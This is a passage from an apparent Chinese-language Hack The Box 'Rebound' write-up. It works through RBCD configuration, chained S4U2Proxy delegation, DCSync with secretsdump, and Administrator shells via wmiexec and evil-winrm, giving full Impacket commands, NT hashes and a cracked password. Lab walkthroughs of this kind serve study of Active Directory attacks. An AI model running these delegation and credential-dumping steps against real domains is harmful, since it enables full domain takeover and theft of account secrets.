     ▼                      ▼
  DC01$ ticket          DC01$ → http/dc01 ticket
  (to ldap_monitor)      → DCSync → Administrator hash

RBCD 配置

步骤：使用 delegator$ 自身的 TGT 修改其 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，将 ldap_monitor 添加为受信任的委派方。

1
2
3
4
5
6
7
8
9
10
# 1. 用 delegator$ 的 NT Hash 获取 TGT
getTGT.py 'rebound.htb/delegator$' -hashes :79b184f0a8d1218313d3a1c47867d81f -dc-ip 10.129.232.31
# 保存为 delegator$.ccache

# 2. 设置 RBCD：ldap_monitor → delegator$
KRB5CCNAME=delegator\$.ccache rbcd.py -k -no-pass 'rebound.htb/delegator$' \
  -delegate-from ldap_monitor -delegate-to 'delegator$' \
  -action write -dc-ip 10.129.232.31 -use-ldaps

# [*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy

为什么 delegator$ 能修改自己的 RBCD？ 通常服务账户对其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性有 WriteProperty 权限。如果失败，可改用 oorend（有 SERVICEMGMT 权限）通过 bloodyAD 设置。

S4U2Proxy 票据链

第一步：利用 ldap_monitor → RBCD → delegator$ → Constrained Delegation 链获取 DC01$ 的 browser 服务票据

1
2
3
4
5
6
getST.py -spn browser/dc01.rebound.htb -impersonate 'DC01$' \
  'rebound.htb/ldap_monitor:1GR8t@$$4u' -dc-ip 10.129.232.31

# [*] Requesting S4U2self
# [*] Requesting S4U2Proxy
# [*] Saving ticket in DC01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache

原理：

  1. S4U2Self：ldap_monitor 用自己的 TGT 向 KDC 请求 “以 DC01$ 的身份访问我自己（ldap_monitor）”。KDC 返回一个 ldap_monitor 自身的 service ticket，subject 是 DC01$。因为 ldap_monitor 没有 Protocol Transition，此票据的 Flags 不含 Forwardable。
  2. S4U2Proxy：ldap_monitor 将此票据附在新的 TGS-REQ 中，请求访问 browser/dc01。KDC 检查：
    • ldap_monitor 无约束委派 → 检查 RBCD
    • 发现 delegator$ 在其 msDS-AllowedToActOnBehalfOfOtherIdentity 中授权了 ldap_monitor
    • delegator$ 有约束委派到 http/dc01，而 browser/dc01 和 http/dc01 共享同一主机 → KDC 允许链式委派
    • 返回 DC01$ 对 browser/dc01 的 Forwardable service ticket

第二步：利用 delegator$ 的约束委派，将 browser 票据转发为 http/dc01 票据

1
2
3
4
5
6
7
8
getST.py -spn http/dc01.rebound.htb -impersonate 'DC01$' \
  'rebound.htb/delegator$' -hashes :79b184f0a8d1218313d3a1c47867d81f \
  -additional-ticket 'DC01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache' \
  -dc-ip 10.129.232.31

# [*] Using additional ticket ... instead of S4U2Self
# [*] Requesting S4U2Proxy
# [*] Saving ticket in DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache

原理：

  • -additional-ticket 跳过 S4U2Self（因为 delegator$ w/o Protocol Transition 无法获得 Forwardable S4U2Self 票据）
  • 直接使用上一步获得的 Forwardable browser 票据作为 evidence ticket
  • S4U2Proxy 向 KDC 请求从 browser/dc01 转发到 http/dc01
  • KDC 检查 delegator$ 的约束委派列表包含 http/dc01 → 允许

DCSync 与 Administrator Hash

背景：持有 DC01$ 机器账户对 http/dc01 的 service ticket，等同于拥有 DC 机器账户的身份。DC 机器账户默认拥有 DCSync 权限（DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All），可复制域控的 NTDS.dit 数据库。

1
2
3
4
5
6
7
KRB5CCNAME='DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache' \
  secretsdump.py -k -no-pass dc01.rebound.htb -just-dc-ntlm

# Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1108b27a9ff61ed4139d1443fbcf664b:::
# ...

注意：如果 secretsdump.py 报错 [-] policy, secrets, sam, ntds, None, (..., KDC_ERR_S_PRINCIPAL_UNKNOWN)，首先检查 /etc/hosts 中 dc01.rebound.htb 的 DNS 解析是否正确指向靶机 IP，并在 /etc/krb5.conf 中添加 [domain_realm] 映射确保 Kerberos realm 解析正确。

root.txt

1
2
3
4
5
6
# 用 Administrator 的 NT Hash 通过 WMI 执行命令
wmiexec.py -hashes :176be138594933bb67db3b2572fc91b8 \
  -dc-ip 10.129.232.31 'rebound.htb/Administrator@dc01.rebound.htb' \
  'type C:\Users\Administrator\Desktop\root.txt'

# cec1f9a743e0dda912993f793d57257c

也可直接用 evil-winrm 获取交互式 shell：

1
evil-winrm -i dc01.rebound.htb -u Administrator -H 176be138594933bb67db3b2572fc91b8

03.攻击路径总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
RID枚举 (lookupsid.py)
    │
    ▼
jjones AS-REP Roastable (GetNPUsers.py)
    │
    ├──▶ GetUserSPNs.py -no-preauth (无预认证 Kerberoasting)
    │        │
    │        ▼
    │    ldap_monitor:1GR8t@$$4u (hashcat 破解)
    │        │
    │        ├──▶ 密码复用 → oorend:1GR8t@$$4u
    │        │
    │        ├──▶ BloodHound: oorend addself → SERVICEMGMT ──GenericAll──▶ SERVICE USERS OU
    │        │        │
    │        │        ▼
    │        │    winrm_svc 密码重置 → WinRM → user.txt
    │        │        │
    │        │        ▼
    │        │    RemotePotato0 + KrbRelay 跨会话中继 → tbrady:543BOMBOMBUNmanda
    │        │        │
    │        │        ▼
    │        │    gMSA delegator$ 密码读取 (bloodyAD)
    │        │        │
    │        │        ▼
    │        │    RBCD: ldap_monitor → delegator$
    │        │        │
    │        │        ▼
    │        │    S4U2Proxy: delegator$ ──Constrained──▶ http/dc01
    │        │        │
    │        │        ▼
    │        │    DCSync → Administrator → root.txt

04.关键技术点

无预认证 Kerberoasting (Kerberoasting Without Pre-Auth)

  • AS-REP Roastable 用户 (UF_DONT_REQUIRE_PREAUTH) 不提供预认证数据即可获得加密 TGT
  • 攻击者用此 TGT 可直接发出 TGS-REQ，无需知道用户密码
  • Impacket GetUserSPNs.py -no-preauth 实现了此攻击（commit c3ff33b）

gMSA 密码结构

  • msDS-ManagedPassword 是 MSDS_MANAGEDPASSWORD_BLOB 结构
  • 包含当前密码、前一个密码、查询间隔、不变间隔四个字段的偏移量
  • 密码以 UTF-16LE 编码存储，NTLM 哈希通过 MD4(password_bytes) 计算

Kerberos 委派链 (RBCD + Constrained Delegation Chaining)

  • 当 KDC 处理 S4U2Proxy 时，如果请求者没有直接委派权限，KDC 会检查 RBCD
  • 如果请求者被某账户通过 RBCD 信任，且该账户有约束委派到目标 SPN，KDC 允许链式委派
  • 这是 Windows Server 2019+ 的行为特性

约束委派 w/o Protocol Transition 的绕过

  • S4U2Self 返回的票据无 Forwardable 标志 → 无法直接 S4U2Proxy
  • 绕过方式：(1) RBCD 获取 Forwardable 票据 (2) -additional-ticket 跳过 S4U2Self
  • 使用 -additional-ticket 时，证据票据必须是 Forwardable 且由受信任的委派方签发